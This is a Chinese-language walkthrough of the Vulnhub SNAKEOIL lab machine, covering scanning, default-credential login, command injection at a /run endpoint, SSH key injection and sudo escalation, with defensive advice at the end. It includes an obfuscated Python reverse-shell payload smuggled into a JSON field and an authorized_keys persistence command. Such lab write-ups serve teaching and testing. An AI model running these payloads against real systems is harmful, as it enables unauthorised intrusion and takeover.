[Vulnhub] SNAKEOIL GoodTech+RCE+SUDO权限提升
字数 879 2025-08-19 12:41:11
SNAKEOIL靶机渗透测试教学文档
靶机概述
SNAKEOIL是一台包含多个漏洞的Vulnhub靶机,涉及信息收集、Web应用漏洞利用、远程代码执行(RCE)和权限提升等技术点。本教学文档将详细分析渗透过程。
信息收集阶段
网络扫描
使用nmap进行端口扫描:
nmap -p- 192.168.101.154 --min-rate 1000 -sC -sV
扫描结果:
- 22/tcp: OpenSSH 7.9p1
- 80/tcp: nginx 1.14.2
- 8080/tcp: nginx 1.14.2
Web目录扫描
使用dirb扫描Web目录:
dirb http://192.168.101.154:8080
发现关键路径:
/registration/login/secret/run
Web应用漏洞利用
用户枚举
在/registration路径发现用户信息:
- 用户名: patrick
- 密码哈希:
$pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040
认证绕过
尝试使用默认凭证登录:
POST /login HTTP/1.1
{
"username": "admin",
"password": "admin123"
}
成功获取访问令牌:
access_token_cookie=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcyMTU3MDgwMCwianRpIjoiNjE5OWY5ZWMtZGQ1Ni00YzA2LTk5NjEtMjNiY2MyZmZhMDUzIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzIxNTcwODAwLCJleHAiOjE3MjE1NzE3MDB9.OASM_L1yp4HTQn-2DWL0RMqhMVmnQtwz3tj1GSMwHDc
敏感信息发现
访问/secret端点,发现关键信息:
commandexecutionissecret
远程代码执行(RCE)
命令执行端点
发现/run端点接受JSON输入:
POST /run HTTP/1.1
{
"url": "127.0.0.1:22",
"secret_key": "commandexecutionissecret"
}
RCE利用
构造反向shell payload:
{
"url": "2>null;`p='pyt';b='hon';$p$b -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.101.128\",10032));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;ip=\"ba\";a=\"sh\"; pty.spawn(ip+a)'`",
"secret_key": "commandexecutionissecret"
}
成功获取本地shell访问权限。
权限提升
横向移动
- 在patrick用户目录下发现
.ssh文件夹 - 添加攻击者公钥到
authorized_keys:
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOAuKxlopDqsLWIAFeZFEOiSBz9K/go+OybYs5gwGEBE maptnh@maptnh' > authorized_keys
密码发现
检查/home/patrick/flask_blog/app.py文件,发现硬编码密码:
NOreasonableDOUBTthisPASSWORDisGOOD
Sudo权限提升
patrick用户具有sudo权限:
sudo /bin/bash
使用发现的密码成功提权至root。
总结
本靶机渗透过程涉及以下关键技术点:
- 信息收集:端口扫描、目录爆破
- Web漏洞利用:默认凭证、敏感信息泄露
- 远程代码执行:通过构造恶意输入实现
- 权限提升:SSH密钥注入、sudo提权
防御建议
- 避免使用默认或弱密码
- 不要将敏感信息硬编码在代码中
- 限制sudo权限
- 对用户输入进行严格过滤
- 定期更新服务组件
- 禁用不必要的服务